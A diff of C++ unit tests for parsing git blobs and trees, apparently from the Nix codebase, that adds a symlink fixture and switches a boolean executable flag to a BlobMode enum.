100755 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 bAr
|
||||
040000 tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904 baZ
|
||||
120000 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 quuX
|
||||
|
|
|
@ -67,7 +67,7 @@ TEST_F(GitTest, blob_read) {
|
|||
StringSink out;
|
||||
RegularFileSink out2 { out };
|
||||
ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob);
|
||||
parseBlob(out2, "", in, false, mockXpSettings);
|
||||
parseBlob(out2, "", in, BlobMode::Regular, mockXpSettings);
|
||||
|
||||
auto expected = readFile(goldenMaster("hello-world.bin"));
|
||||
|
||||
|
@ -115,6 +115,15 @@ const static Tree tree = {
|
|||
.hash = Hash::parseAny("4b825dc642cb6eb9a060e54bf8d69288fbee4904", HashAlgorithm::SHA1),
|
||||
},
|
||||
},
|
||||
{
|
||||
"quuX",
|
||||
{
|
||||
.mode = Mode::Symlink,
|
||||
// hello world with special chars from above (symlink target
|
||||
// can be anything)
|
||||
.hash = Hash::parseAny("63ddb340119baf8492d2da53af47e8c7cfcd5eb2", HashAlgorithm::SHA1),
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
TEST_F(GitTest, tree_read) {
|
||||
|
@ -165,6 +174,12 @@ TEST_F(GitTest, both_roundrip) {
|
|||
.contents = "good day,\n\0\n\tworld!",
|
||||
},
|
||||
},
|
||||
{
|
||||
"quux",
|
||||
File::Symlink {
|
||||
.target = "/over/there",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
|
@ -195,21 +210,24 @@ TEST_F(GitTest, both_roundrip) {
|
|||
|
||||
MemorySink sinkFiles2 { files2 };
|
||||
|
||||
std::function<void(const Path, const Hash &, bool)> mkSinkHook;
|
||||
mkSinkHook = [&](auto prefix, auto & hash, auto executable) {
|
||||
std::function<void(const Path, const Hash &, BlobMode)> mkSinkHook;
|
||||
mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) {
|
||||
StringSource in { cas[hash] };
|
||||
parse(
|
||||
sinkFiles2, prefix, in, executable,
|
||||
sinkFiles2, prefix, in, blobMode,
|
||||
[&](const Path & name, const auto & entry) {
|
||||
mkSinkHook(
|
||||
prefix + "/" + name,
|
||||
entry.hash,
|
||||
entry.mode == Mode::Executable);
|
||||
// N.B. this cast would not be acceptable in real
|
||||
// code, because it would make an assert reachable,
|
||||
// but it should harmless in this test.
|
||||
static_cast<BlobMode>(entry.mode));
|
||||
},
|
||||
mockXpSettings);
|
||||
};
|
||||
|
||||
mkSinkHook("", root.hash, false);
|
||||
mkSinkHook("", root.hash, BlobMode::Regular);
|
||||
|
||||
ASSERT_EQ(files, files2);
|
||||
}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue